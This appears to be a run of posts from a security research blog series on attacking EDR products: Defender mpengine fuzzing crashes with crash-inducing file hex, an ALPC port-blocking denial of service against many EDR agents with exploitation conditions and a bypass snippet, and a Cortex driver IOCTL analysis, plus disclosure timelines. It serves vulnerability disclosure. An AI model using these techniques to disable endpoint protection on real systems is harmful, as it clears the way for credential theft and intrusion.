mpengine!netvm_loadmodule2+0x3ad
mpengine!rpf_pInvoke+0x235
mpengine!rpf_pInvoke_PE+0x5d
mpengine!pefile_call_breakpoint_handlers+0x93
mpengine!kvscanpage4sig+0x150
mpengine!scan_PE_context::jmp_scan+0xfc
mpengine!BasicBlocksInfo::scan_BB+0x71
mpengine!DTscan_worker<0>+0x22f
mpengine!DTscan+0x117
mpengine!scan_pe_dtscan_slice+0x9c
mpengine!scan_pe_dtscan+0xff
mpengine!scan_pe_redtscan+0x167
mpengine!pefile_scan_mp+0x2105
mpengine!UfsScannerWrapper::ScanFile+0x52

crash4-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbb6e1e7

OOB Read on finding executable in a virtual file system. Only crashes with PageHeap.

File type: JavaScript?

mpengine!MpSuppFindExecutable+0x5f
mpengine!MpSuppCreate+0x26f
mpengine!PreCreateProcess+0x9b
mpengine!pe_create_process+0x117
mpengine!KERNEL32_DLL_WinExec+0xf3
mpengine!__call_api_by_crc+0x1c4
mpengine!x32_parseint+0x71
mpengine!BasicBlocksInfo::safe_execute+0x53
mpengine!IL_2_exe<0>+0x8a3
mpengine!DTscan_worker<0>+0xcfb
mpengine!DTscan+0x117
mpengine!scan_pe_dtscan_slice+0x9c
mpengine!scan_pe_dtscan+0xff
mpengine!pefile_scan_mp+0x2105
mpengine!UfsScannerWrapper::ScanFile+0x52

crash5-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc3d3b22

Interestingly, Defender scans and emulates Mach-O files on Windows. This OOB read initially seemed promising, as a size variable could potentially be influenced if the memory layout is controllable. However, it could not be turned into an OOB write. Only crashes with PageHeap.

File type: Mach-O 64-bit x86_64 dynamically linked shared library, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL>

mpengine!macho_lua_api_GetSegment+0x102
mpengine!luaD_precall+0x205
mpengine!luaV_execute+0x407
mpengine!luaD_call+0x35
mpengine!luaD_rawrunprotected+0x5b
mpengine!ExecuteLuaScript+0x20e
mpengine!ValidateSignatureWithPcodeWorker2+0x1d9
mpengine!ValidateSignatureWithPcode+0x23
mpengine!CHSTRMatchHelper::ProcMatchLevel+0xab
mpengine!hstr_internal_report_match_worker+0x2c5
mpengine!hstr_internal_report_match+0x44
mpengine!MachoParser::Scan+0x1e63
mpengine!macho_scanfile+0x71
mpengine!UfsScannerWrapper::ScanFile+0x9f

crash6-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcf36b3c29

OOB read in an encrypted Office document. This specific file only crashes with PageHeap but it can be adapted to crash without PageHeap.

File type: Composite Document File V2 Document

This crashes because of a wrong saltSize value:

00000b20  44 61 74 61 20 73 61 6c  74 53 69 7a 65 3d 22 31  |Data saltSize="1|
00000ba0  68 6d 3d 22 53 48 41 32  35 36 22 20 73 61 6c 74  |hm="SHA256" salt|
00000d40  30 22 20 73 61 6c 74 53  69 7a 65 3d 22 31 37 22  |0" saltSize="17"|
00000dc0  3d 22 53 48 41 35 31 32  22 20 73 61 6c 74 56 61  |="SHA512" saltVa|

ntdll!memcpy+0x29
bcryptPrimitives+0x5ad7
bcryptPrimitives+0x3f85
bcrypt!BCryptHashData+0x77
rsaenh!CPHashData+0xbb
CRYPTSP!CryptHashData+0x94
mpengine!OfficeEcma376AgileDecryptor::HashHelper+0x71
mpengine!OfficeEcma376AgileDecryptor::CheckPassword+0x20b
mpengine!DecryptWithPassword+0x26
mpengine!DecryptWorker+0x48
mpengine!TryDecryptDocument+0x1ab
mpengine!RME::Scan+0x137
mpengine!macro_scan+0x8c
mpengine!UfsScannerWrapper::ScanFile+0x9f

crash8-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a517f

An OOB read while searching for a character in a string. Only crashes with PageHeap.

File type: Unicode text, UTF-16, little-endian text. This is a very small file:

00000000  ff fe 23 00 53 00 74 00  72 00 65 00 61 00 6d 00  |..#.S.t.r.e.a.m.|
00000010  20 00 43 00 6f 00 6e 00  74 00 61 00 69 00 6e 00  | .C.o.n.t.a.i.n.|
00000020  65 00 72 00 20 00 46 00  69 00 6c 00 65 00 0a 00  |e.r. .F.i.l.e...|
00000030  74 00 61 00 69 00 6e 00  65 00 72 00 20 00 46 00  |t.a.i.n.e.r. .F.|
00000040  69 00 6c 00 00 6e 00 74  00 61 00 69 00 6e 00 65  |i.l..n.t.a.i.n.e|
00000050  00 72 00 20 00 46 00 69  00 6c 00 65 00 0a 75 72  |.r. .F.i.l.e..ur|
00000060  6f 3d 2e 63 6d                                    |o=.cm|
00000065

mpengine!wcschr+0x27
mpengine!nUFSP_replayablecontainer::FindNext+0xe0
mpengine!UfsFindData::FindFirstUsingPlugin+0xe4
mpengine!UfsFindData::FindFirst+0xd0
mpengine!UfsClientRequest::FindNextInNode+0x270
mpengine!UfsNodeFinder::FindFirst+0xd3
mpengine!UfsClientRequest::AnalyzeNode+0x8e
mpengine!UfsClientRequest::AnalyzeLeaf+0x18c
mpengine!UfsClientRequest::AnalyzePath+0x24f
mpengine!UfsCmdBase::ExecuteCmd<<lambda_63254cfa82a2be95f0c1106eef9d5b22> >+0x11c
mpengine!UfsScanFileCmd::Execute+0x50
mpengine!ksignal+0x5f1
mpengine!EngineProcessFile+0x219

5.1 Example POCs

Crash Defender by clicking a link that triggers a "PDF" download. This could be used in combination with an initial access payload:

Crash Defender by uploading a file via SMB before dumping credentials:

6. Conclusion

The initial assumption that mpengine.dll is an interesting fuzzing target proved correct. Nine memory-related bugs were identified that led to a denial of service. While this specific research did not uncover RCEs, the methodology could have potentially revealed exploitable bugs. Nevertheless, attackers can leverage such denial-of-service vulnerabilities to crash Defender before executing subsequent malicious actions (see 5.1 Example POCs).

Depending on the specific scenario, some of the identified crashes have a CVSS v4.0 score of approximately 6.8/10 (e.g., CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N for a downloaded file). However, for some mail clients, Defender can also be configured to scan files automatically which would lead to a remote attack without user interaction.

Given that these vulnerabilities can be easily exploited to repeatedly crash Defender's main process, we believe these issues warrant addressing by Microsoft. During our tests, no corresponding alerts were observed in the security dashboard following these crashes or subsequent malicious actions.

Attacking EDRs Part 3: One Bug to Stop them all

Manuel Feifel — Mon, 24 Feb 2025 00:00:00 GMT

This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.

Part 1 gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.
Part 2 describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-"bypass" as well as a detection bypass by early startup. Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.
Part 3 (this article) describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager's namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).
Part 4 describes the fuzzing process of Microsoft Defender's scanning and emulation engine mpengine.dll. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.

1. Summary of ALPC Blocking Vulnerability

A DoS vulnerability has been discovered within the majority of tested EDRs on Windows that allows a low priviledged user to disable the EDR after a reboot:

Palo Alto Cortex XDR

Microsoft Defender (for Endpoint)

Check Point Harmony

Kaspersky Endpoint Security for Business

Trend Micro Vision One XDR

Malwarebytes for Teams (only one module is disabled)

SentinelOne (only one executable is blocked with unknown consequences)

CrowdStrike XDR (only certain features are disabled)

This can be achieved by opening a specific ALPC (Advanced Local Procedure Call) port or other ressources, typically utilized by the products themselves. Most EDRs use ALPC for inter-process communication in the user-mode components. However, none of the tested EDRs deals with the case if the requested port-name is already used. Consequently the initialization fails and either the user-mode service crashes or is in a non-functional state. The kernel-components which are still running, did not have any detecting or blocking functionality in the tests except for Crowdstrike that implements a large part in the drivers.
A scheduled task can be used to win the race to register the ALPC port. For example a user-logon trigger with high prioriy and ARSO is sufficient for most EDRs. Otherwise, event-triggers can be used but they require the Logon as batch job privilege.

PoC code can be found in this repository: ::github{repo="ig-labs/EDR-ALPC-Block-POC"}

2. Windows ALPC Introduction

:::note You do not need to know any of this to understand or exploit the vulnerability, but it may be useful if you want to conduct your own research. :::

Windows Advanced (or Asynchronous) Local Procedure Call (ALPC) is an inter-process communication (IPC) mechanism that allows processes, services and drivers on the same host to communicate with each other via pre-defined interfaces. Other IPC mechanisms include named pipes, shared memory, and remote procedure call (RPC). ALPC is a fast and efficient mechanism heavily used within the Windows operating system.

ALPC itself is undocumented by Microsoft and developers are not indented to use it directly. However, there are official libraries such as RPCRT4.dll which use ALPC under the hood. Alex Ionescu reverse engineered and published internals of ALPC.

If ALPC can be used directly or with the RPC Run Time. By default, it registers a port object at the location \RPC Control\Test-Port) and afterwards a client can connect to it. If plain ALPC is used, raw messages can be send in both directions. Typically, ALPC is used as one implementation of Windows RPC "ncalrpc". The library RPCRT4.dll provides functionality for developers to use it. The server registers interfaces where each interface can have multiple methods through IDL-files which are compiled and integrated into the server and client (client/server stub).

The registered ALPC ports can be looked up in WinObj from SysInternals.

ALPC Ports in WinObj

How RPC works

The following decompiled output from IDA shows how an ALPC port is registered using the RPC Runtime library (RPCRT4.dll) in Cortex.

ALPC-RPC Server Registration in Cortex

Some important notes:

If the port name is NULL, a random port name such as LRPC-71dcaff45b0f633aad is given
A port can be restricted using Security Descriptors
If no callback function is provided (and no Security Descriptor), every client can establish a connection
The RPC Server can be registered at the RPC Endpoint Mapper using the function RpcEpRegister. Most EDR ports are not registered and depending on the method you use to enumerate the ports, you don't see them (for example when using RpcView). ProcessHacker/SystemInformer displays all ports in the Handles-Tab
Clients can connect using the port name or by defining the interface UUID and version contained in the interface description (if it is registered at the endpoint mapper)

Vulnerabilities in ALPC usage can be categorized as follows (though other categories probably exist):

Weak or missing access control leading to access to sensitive functionality or data
Memory corruptions in handling function parameters (there is no official implementation to use RPC with managed languages)
Impersonation vulnerabilities (usefulness In realistic scenarios unclear)
DoS: Blocking communication (this type of vulnerability, uncovered in this research, is, to our knowledge, previously not discussed publicly).

For a better understanding of ALPC and how to interact with it from a testing perspective, we recommend the following talks or the corresponding blog post:

For more details on ALPC security and reverse engineering, see the blog posts by 0xcsandker:

3. ALPC Research Results

We began looking into ALPC after encountering it while investigating password handling in the Cortex driver cyvrmtng.sys (see Part 2).

The first step is to enumerate the ALPC ports and check the Security Descriptors.

3.1 Enumerate ALPC-ports

First Method: WinDBG

0: kd> !process 0 0 cyserver.exe
PROCESS ffff970f8e6df080
    SessionId: 0  Cid: 24f8    Peb: dd298fc000  ParentCid: 02f4
    DirBase: 239c24000  ObjectTable: ffffaa08f1ffb400  HandleCount: 846.
    Image: cyserver.exe

0: kd> !alpc /lpp ffff970f8e6df080

Ports created by the process ffff970f8e6df080:

  ffff970f8e76ad30('OLEC4EA145C32D5AB917AD12FA45688') 0, 1 connections
    ffff970f85fe1a80 0 ->ffff970f87165a80 0 ffff970f87ca5080('svchost.exe')

  ffff970f8ab938f0('Palo-Alto-Networks-Traps-ESM-Rpc') 0, 1 connections
    ffff970f870ac0b0 0 ->ffff970f9209f070 0 ffff970f8e6df080('cyserver.exe')

  ffff970f8c4d6aa0('Palo-Alto-Networks-Traps-Report-Rpc') 0, 0 connections

  ffff970f8b2e9760('TasWorkerServer_811AC91A') 4, 4 connections
    ffff970f871242c0 0 ->ffff970f8d0e2510 0
ffff970f8eeb1080('tlaworker.exe')
    ffff970f871682c0 0 ->ffff970f8d0cd7a0 0
ffff970f8eeaf080('tlaworker.exe')
    ffff970f87035910 0 ->ffff970f85f35910 0
ffff970f8eeb0080('tlaworker.exe')
    ffff970f87046910 0 ->ffff970f87068910 0
ffff970f8efe2080('tlaworker.exe')

  ffff970f91dc4d30('Palo-Alto-Networks-Traps-DB-Rpc') 0, 0 connections

  ffff970f927f2d30('Palo-Alto-Networks-Traps-Scan-Rpc') 0, 0 connections

  ffff970f8eeafda0('CyveraPort') 0, 1 connections
    ffff970f8bb93d10 0 ->ffff970f8e54ec70 0 ffff970f84c7e040('System')

Ports the process ffff970f8e6df080 is connected to:
[...]


0: kd> !object ffff970f8ab938f0
Object: ffff970f8ab938f0  Type: (ffff970f84cf7900) ALPC Port
    ObjectHeader: ffff970f8ab938c0 (new version)
    HandleCount: 1  PointerCount: 32757
    Directory Object: ffffaa08e5dfe480  Name: Palo-Alto-Networks-Traps-ESM-Rpc

0: kd> dx (((nt!_OBJECT_HEADER*)0xffff970f8ab938c0)->SecurityDescriptor)
(((nt!_OBJECT_HEADER*)0xffff970f8ab938c0)->SecurityDescriptor) :
0xffffaa08ea537d6d [Type: void *]

0: kd> !sd 0xffffaa08ea537d60 1
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8804
            SE_DACL_PRESENT
            SE_SACL_AUTO_INHERITED
            SE_SELF_RELATIVE
->Owner   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x5c
->Dacl    : ->AceCount   : 0x4
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x00030001
->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x14
->Dacl    : ->Ace[1]: ->Mask : 0x00030001
->Dacl    : ->Ace[1]: ->SID: S-1-5-12 (Well Known Group: NT AUTHORITY\RESTRICTED)

->Dacl    : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[2]: ->AceFlags: 0x0
->Dacl    : ->Ace[2]: ->AceSize: 0x18
->Dacl    : ->Ace[2]: ->Mask : 0x001f0001
->Dacl    : ->Ace[2]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrators)

->Dacl    : ->Ace[3]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[3]: ->AceFlags: 0x0
->Dacl    : ->Ace[3]: ->AceSize: 0x14
->Dacl    : ->Ace[3]: ->Mask : 0x001f0001
->Dacl    : ->Ace[3]: ->SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

->Sacl    :  is NULL

To sum it up, the following ALPC-ports exist

Palo-Alto-Networks-Traps-DB-Rpc
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: cyapi.dll
- Server: cysvc.dll
Palo-Alto-Networks-Traps-ESM-Rpc
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: cysvc.dll
- Server: cyverau.dll
Palo-Alto-Networks-Traps-Report-Rpc
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: ?
- Server: cysvc.dll
Palo-Alto-Networks-Traps-Scan-Rpc
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: cyapi.dll
- Server: cysvc.dll
TasWorkerServer_***
- Security Descriptor: S-1-1-0 (localhost\Everyone)
- Client: tlaworker.exe
- Server: cysvc.dll
CyveraPort
- Security Descriptor: S-1-5-18 (NT AUTHORITY\SYSTEM)
- Client: kernel-driver
- Server: cyserver.exe

Second Method using ProcessHacker:

This method is easier and faster for getting an overview but provides fewer details:

:::note Tools such as RPCView and many others don't display these ports because they are not registered in the RPC Endpoint Mapper and they are created by a ProtectedProcess Anti-Malware process. ProcessHacker/SystemInformer ships a driver which allows to access these processes. :::

3.2 Connecting to ALPC Port

The password we traced is transmitted via Palo-Alto-Networks-Traps-ESM-Rpc. Initially, we attempted to connect using the ALPC examples from 0xcsandker, released toghether with this blog post. Connecting to the port was successful but sending messages did not seem to work as breakpoints in the receiver were not triggered. However, we shortly noticed, that this approach does not make a lot of sense as ALPC is not used directly but as a RPC-method from rpcrt4.dll with an IDL (Interface definition language).

We used the NtObjectManager tooling from James Forshaw to establish a connection to the port:

Connecting to an ALPC port from Cortex

The reason for the "Access is denied" is the Interface Callback of the ALPC registration:

Registration of the ALPC port

The IfCallback function of the ALPC port

The function CyOpenServerProcess retrieves the process from cyserver.exe via the dirver. Afterwards it gets the process ID from the ALPC client via I_RpcBindingInqLocalClientPID and then it compares the PIDs. If they do not match a connection is rejected.

3.3 Impersonating ALPC Server

As it was not successful to use a client to obtain sensitive data, we attempted to impersonate the server by opening the ALPC before Cortex starts. We used a slightly modified version of the CPP-ALPC-Basic-Server.cpp example to start a ALPC server at \RPC Control\Palo-Alto-Networks-Traps-ESM-Rpc. We stopped cyserver with cytool and then started the fake server. Afterwards we started cyserver again.

ALPC Server "Impersonation"

The screenshot shows that cyserver.exe connected to the port and sent messages. Because Cyserver.exe itself did not open this, some functionality must be broken. To test this we set up an ALPC server for all the ALPC ports used by Cyserver.exe (except \Cyveraport which requires administrative privileges). After starting this, Cyserver crashed during the initialization.

This was promising, as Cortex neither prevented nor alerted anything without the user-mode component Cyserver. For example, Mimikatz could be launched and executed without modification.

The only remaining step was to achieve the same effect during startup without requiring administrative privileges. A scheduled task in combination with Windows ARSO (see this documentation) successfully disabled Cortex.

The next section details how to exploit this vulnerability.

We tested as many EDRs as possible for the same vulnerability and found, surprisingly, that most were vulnerable. The concept for exploiting this vulnerability is quite simple, so we expected some EDRs to have addressed it. The following list of EDRs are vulnerable:

Palo Alto Cortex XDR
Microsoft Defender (for Endpoint)
Check Point Harmony
Kaspersky Endpoint Security for Business
Trend Micro Vision One XDR
Malwarebytes for Teams (only one module is disabled)
SentinelOne (only one executable is blocked with unknown consequences)
Crowdstrike XDR (only certain features are disabled)

3.4 Exploit Conditions

Successful exploitation of the ALPC-block DoS vulnerability requires the following preconditions:

The host reboots (either manually with shutdown privileges or by waiting)
The target ALPC port is registered in a namespace where a low-privileged user has write permissions. The default name space is "\RPC Control" where every user can create objects.
Permissions to create a scheduled task (allowed by default)
- Alternatively create or modify a service (only for local admins by default) or other methods for early startup (e.g. DLL Hijacking)
Exploit registers ALPC ports before the EDR during the Windows startup
- The likelyhood of winning this race varies between EDRs but for most it is 100% reliable in our tests:
  - For example Cortex (cyserver.exe) takes a long time to initialize itself and also has startup-dependencies to other components. Consequently, it is quite easy to be faster.
- If this is exploited by a low-privileged user, it is important to choose a method which starts during the startup of Windows and not after an interactive logon.
  - A default user does not have the permission to create a scheduled task with the trigger "at startup"
  - There are two options we used to exploit this:
    1. "At log on" Trigger in combination with Automatic Restart Sign-On (ARSO) (as per this reference). ARSO was built to improve the update process and temporarly stores the user credentials to do an auto-login of the current user. However, it can also be used without updating the OS. The following screenshot from the Microsoft ASRO documentation provides an overview of when ARSO is applied
    - The ARSO configuration can also be set via group policy or in the Sign-in options
    1. Scheduled task with an event-trigger (on any Event ID happening early during the Windows startup). The password of the user needs to be stored in the scheduled task in this case which requires the right "SeBatchLogonRight". On unmanaged Windows hosts this permission is not given by default. However, on several AD-joined clients, this was enabled in different companies.
    - One of the first events that can be used is Event ID "6" from FilterManager which is created if a filter driver is loaded
  - Generally, the process priority of the scheduled task should be set as high as possible. The default priority of a scheduled task is 7 (BELOW\_NORMAL). The priority cannot be adjusted in the GUI. The scheduled task can be exported to an XML where the priority can be adjusted. Afterwards it can be imported again. This could also be done programmatically.
  - Priority 0 (REALTIME) and 1 (HIGH) can only be used by local administrators.
  - Priority 2 (ABOVE\_NORMAL) can be set by all accounts

3.5 Mitigation

This vulnerability cannot be easily fixed because it is an architectural flaw rather than a coding error. The following suggestions primarily mitigate the effects but do not address the root cause:

Use a randomly generated port name (e.g. UUID)
Generate an alert of an EDR is not active but the host itself is online
If a required port is in use, kill the corresponding application via the driver and flag it as malware
Limit the attack surface to administrative users: Use Port names in the root directory (e.g. \TestPort) which are only accessible to administrative users.
General recommendation: Ensure the kernel-components can send an alert if a user-mode component is not active.
Monitor processes via the driver before the user-mode process is started and cache results to sent them later

Some fixes of vendors where analyzed with the following results:

Vendor Fixes

We examined the fixes from Cortex XDR for CVE-2023-3280 and CVE-2024-5909 in more detail.

CVE-2023-3280 was "fixed" by blocking the registering of ports used by Cortex (e.g. Palo-Alto-Networks-Traps-DB-Rpc) by the driver. As soon as the user-mode component was ready to register the port, an IOCTL was send to the driver to release the ports. However, all processes are now allowed to register the port and it opens up a short timeframe to win the race.

Only one additional line in the exploit code was required to bypass the "fix":

register_port();

while(not_successful){
  register_port();
}

After reporting it to PaloAlto another fix was published in 2024 (CVE-2024-5909). The port names are now UUIDs set or retreived via IOCTls.

We did not examine the fixed versions of other vendors.

3.6 Blocking EDRs with NamedPipes

SentinelOne Singularity XDR can be blocked by registering NamedPipes instead of ALPC ports. This demonstrates that other resources can be exploited by the same type of vulnerability. The exploitation is tricky as the NamedPipe is not a static string: \Device\NamedPipe\DFIScanner.Inline.3360.3720Pipe The first number is a PID and the second number is a TID. During the first start of the EDR during the Windows startup, the values are usually in the range of 2500-4000. The exploit did first register the most likely ports and afterwards other ranges from 0-12000. This technique could be successfully exploited with a low privileged user similiar to the other ALPC based vulnerabilities.

3.7 Further Research

This research project only scratched the surface of the existing attack surface of EDRs (or XDRs). Further blog posts on this topic are likely. If you have read this entire post, you will have noticed several areas that warrant further investigation.

The following topics related to the research described in this post should be addressed:

Testing the same ALPC DoS vulnerability for further vendors
Testing other IPC-methods (e.g. NamedPipes) or completely other resources to block EDRs
Testing accessible ALPC functions for logic bugs or memory corruptions
Spoofing an IPC-server or IPC-client to modify the behavior or to extract sensitive data
Analysing the driver interfaces of further EDR products
Analyzing fixes and searching for potential bypasses such as the one discussed in this section

4 Disclosure Process

Well… one would think that this would be a rather positive experience compared to other vendors because they make security products themselves. This was not the case for the majority of vendors. First of all, most vendors required more than 90 days to release a fix or did not fix it at all. Most disclosure reports have been sent between April 2023 and September 2023. Some reports have been sent later, as access to some products was not given in 2023. No vendors did provide information on how they fixed it after (e.g. "that is considered proprietary Cortex XDR agent information") although some requested a retest.

Second, two vendors responded with unbelievably incompetent questions and comments. One example, after we sent the requested (PoC) code, was the following:

"The cpp program needs to be converted to exe? If no then, what's the command that you are running?"

An Overview of the disclosure process:

PaloAlto Cortex XDR
- 05.04.2023: Reported ALPC-block vulnerability to PaloAlto
- 13.09.2023: Released Advisory CVE-2023-3280
- 25.09.2023: Reported a bypass for their "fix" to PaloAlto
- 13.10.2023: PaloAlto reponded that that it will take time to address the issue
- 12.06.2024: Released Advisory CVE-2024-5905
Microsoft Defender (for Endpoint)
- 31.05.2023: Reported ALPC-block vulnerability to Microsoft
- 19.09.2023: Fix is in testing process ("we plan to release it as part of the October Patch Tuesday")
- 13.11.2023: "During the staggered deployment for the fix to the issue you reported, the team noticed that the fix was causing some crashes on systems with the update installed. ... this will not be completed until December at the earliest."
- 12.03.2024: Released Advisory CVE-2024-20671
CheckPoint Harmony
- 07.07.2023: Reported ALPC-block vulnerability to CheckPoint
- 17.08.2023: After several clarification mails, they still cannot reproduce it.
Kaspersky Endpoint Security for Business:
- 07.07.2023: Reported ALPC-block vulnerability to Kaspersky
- 12.07.2023: Kaspersky reproduced vulnerability
- 13.09.2023: Kaspersky fixed the issue
- 21.11:2023: After asking for a CVE, they responded that they will not publish a CVE
TrendMicro Vision One XDR
- 10.07.2023: Reported ALPC-block vulnerability to TrendMicro
- 02.08.2023: After some clarification mails, no further information was provided by TrendMicro
Malwarebytes for Teams
- 13.07.2023: Reported ALPC-block vulnerability to Malwarebytes that one module can be disabled but not the whole product. Asked them to provide a test license for their Business EDR product which I did not receive.
  - The employee assigned to this case did not have the knowledge to understand and reproduce the case.
- 02.10.2023: The case was closed without releasing a fix or providing access to the EDR product with more features.
SentinelOne Singularity XDR
- We did not have a fully working environment to test this product.
- ALPC block
  - 25.07.2023: Reported that a certain process can be crashed by blocking an ALPC port. However, we could not reproduce it reliably in the limited test environment. We asked for a test license to do a further analysis.
  - 03.10.2023: After asking for an update on the status, the assigned employee at HackerOne did not know anything.
- NamedPipe block
  - 29.09.2023: Reported that the whole product can be blocked by registering NamedPipes instead of ALPC ports.
  - 02.11.2023: SentinelOne reproduced it. A timeline for a fix is not known.
  - 22.06.2024: SentinelOne asked for a retest of their fix. However, this was not possible because SentinelOne did not want to provide a test license.
Crowdstrike XDR
- Initially, no access to a Crowdstrike environment was available. Therefore, it was reported later.
- 26.06.2024: Reported that the a certain process can be crashed by blocking an ALPC port. However, some functionality was still available.
- 26.06.2024: Crowdstrike reproduced it on the same day.
- 05.08.2024: "After careful evaluation, we have determined that the security finding is considered low impact and does not meet the criteria for a CVE" because the kernel-mode driver remains fully operational.
- It is unknown when a fix was published.

5 Conclusion

This research project demonstrated that EDRs can contain relatively simple vulnerabilities. A "novel" type of vulnerability was identified that allows disabling or bypassing several widely used EDRs. Exploitation is relatively easy, requiring only the setup of a scheduled task that registers a specific ALPC port. To our knowledge, similar vulnerabilities have not been previously published for EDR or antivirus software. However, we could not identify straightforward vulnerabilities such as insecure driver interfaces accessible to low-privileged users. Nevertheless, several EDRs have a direct kernel attack surface accessible to low-privileged users. Fully understanding the true attack surface and authorization model of these drivers requires extensive reverse engineering, which could not be fully completed due to time constraints. In our opinion, the field of security research on EDR attack surfaces has not been explored in sufficient detail.

Attacking EDRs Part 2: Driver Analysis Results

Manuel Feifel — Mon, 17 Feb 2025 00:00:00 GMT

This blog post is part of a series analyzing attack surface for Endpoint Detection and Response (EDR) solutions. Parts 1-3 are linked, with concluding notes for that initial sub-series in Part 3.

Part 1 gives an overview of the attack surface of EDR software and describes the process for analysing drivers from the perspective of a low-privileged user.
Part 2 (this article) describes the results of the EDR driver security analysis. A minor authentication issue in the Windows driver of the Cortex XDR agent was identified (CVE-2024-5905). Additionally a PPL-"bypass" as well as a detection bypass by early startup. Furthermore, snapshot fuzzing was applied to a Mini-Filter Communication Port of the Sophos Intercept X Windows Mini-Filter driver.
Part 3 describes a DoS vulnerability affecting most Windows EDR agents. This vulnerability allows a low-privileged user to crash/stop the agent permanently by exploiting an issue in how the agent handles preexisting objects in the Object Manager's namespace. Only some vendors assigned a CVE (CVE-2023-3280, CVE-2024-5909, CVE-2024-20671).
Part 4 describes the fuzzing process of Microsoft Defender's scanning and emulation engine mpengine.dll. Multiple out-of-bounds read and null dereference bugs were identified by using Snapshot Fuzzing with WTF and kAFL/NYX. These bugs can be used to crash the main Defender process as soon as the file is scanned. None of the bugs appear to be exploitable for code execution.

1. Introduction & Summary

Following the process outlined in Part 1, there are two candidates with open ACLs for their driver interfaces:

PaloAlto Cortex XDR
Sophos Intercept X

The objective was to uncover potential privilege escalation or EDR modification vulnerabilities exploitable by low-privileged attackers. This initial approach did not reveal any serious vulnerabilities but did identify some minor issues, including an authorization bypass for specific IOCTLs in Palo Alto Cortex. To aid other researchers, the subsequent sections detail the analysis process for these drivers.

We used two different approaches to check for potential vulnerabilities:

Manual analysis for logic bugs was conducted for two IOCTL-Handler in PaloAlto Cortex XDR.
Snapshot-Fuzzing was applied on the MessageCallback function of a FilterConnectionPort in Sophos Intercept X. This post gives a brief overview, but does not go into detail on how to perform and debug snapshot fuzzing. There will be a post on Snapshot Fuzzing on the InfoGuard Labs Blog in the future.

2. Palo Alto Cortex XDR

There are three open interfaces with dispatch functions:

tedrdrv.sys: \\.\PaloEdrControlDevice
cyvrmtgn.sys: \\.\CyvrMit
tedrpers-<version>.sys: \\.\PANWEdrPersistentDevice11343

:::MSRC Cortex is the result of a merger between Cyvera and Traps. Consequently, naming conventions may begin with either "t" or with "cyvr". Usually such a historical grown product is more likely to have logical vulnerabilities. :::

2.1 \\.\PaloEdrControlDevice

The dispatch function handling the Major Function code 0xe (Device IO Control) has ~20 cases (different IOCTLs). This offers a lot of functionality and consequently also attack surface.

Device IO Control Dispatch Function in Cortex

After testing some random IOCTLs from the decompiled code using the tool IOCTLplus, we noticed that most of the IOCTLs respond with "Access Denied".

IOCTLplus showing Access denied

However, some IOCTLs responded differently

0x2260D8 returns 3088 bytes of binary data and does not require an input. We started to search for a client which calls this IOCTL because this should help understanding the data. The source code below shows that these are just statistics which can be printed using the CyTool.

IOCTLplus calling 0x2260D8

printf_0("%s = %I64d\n", "StatTakeTime", OutBuffer);
printf_0("%s = %I64d\n", "TimeIncrement", v8);
printf_0("%s = %I64d\n", "PerformanceFrequency.QuadPart", v9);
printf_0("%s = %I64d\n", "Providers.File.FsStreamHandleContextCount", v10);
printf_0("%s = %I64d\n", "Providers.File.FsStreamContextCount", v11);
printf_0("%s = %I64d\n", "Providers.File.FsStreamMaxContextCount", v12);
printf_0("%s = %I64d\n", "Providers.File.FileTotalMessagesSent", v13);
printf_0("%s = %I64d\n", "Providers.File.FileTotalRemoteFiles", v14);
printf_0("%s = %I64d\n", "Providers.File.FileTotalLocalFiles", v15);
printf_0("%s = %I64d\n", "Providers.File.FileNumTimesHashedOnClose", v16);
printf_0("%s = %I64d\n", "Providers.File.HashStats.NumBytesPurged", v17);
printf_0("%s = %I64d\n", "Providers.File.HashStats.NumBytesPurgedNewFile", v18);
printf_0("%s = %I64d\n", "Providers.File.HashStats.TotalNumBytesHashed", v19);
printf_0("%s = %I64d\n", "Providers.File.HashStats.NumHashOperations", v20);

